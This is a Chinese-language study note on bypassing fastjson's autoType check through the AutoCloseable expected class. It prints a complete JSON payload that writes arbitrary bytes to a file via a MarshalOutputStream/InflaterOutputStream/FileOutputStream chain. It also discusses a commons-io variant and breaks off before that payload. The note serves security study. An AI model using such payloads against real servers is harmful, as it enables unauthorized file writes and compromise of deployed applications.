前言:要学的都放在这列好,等fastjosn的历史线整理完了,再来学习这条链,这篇作为期望类AutoCloseable的利用
参考文章:https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
1、学习commonis-io来实现无系统版本限制来进行任意文件写入
2、解决为什么实战中最初的payload会显示default constructor not found.
3、进一步的了解fastjson的词义解析器
回顾
首先,我们回顾下,基于期望类的AutoCloseable来绕过autoType的机制有什么条件:
1、首先需要一个基于AutoCloseable作为期望类的反序列化器作为开头
2、后续解析的json字段,如果想要进行@type,@type对应的类想要是AutoCloseable的实现类
到这里,我们就分析好了,那么如果想要找到真正能利用的类,那么就需要是AutoCloseable的实现类,那么可以从哪里找?
1、原生类中的类实现了AutoCloseable的类
2、第三方jar包中实现了AutoCloseable的类
引子
payload:
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}
实战中我拿过这条payload进行利用,但是返回的都是如下的字符串:
default constructor not found. class sun.rmi.server.MarshalOutputStream
fastjson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可,但是这里就算是带参数的话,最后返回构造参数的类型也是为空
原因如下:
fastjson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可
javap -l <class_name> | grep LocalVariableTable
第三方jar commons-io 2.x包
长亭的一个人就在commons-io依赖包中进行了挖掘,他找到了一个可以不受系统限制的任意写文件的利用链
payload: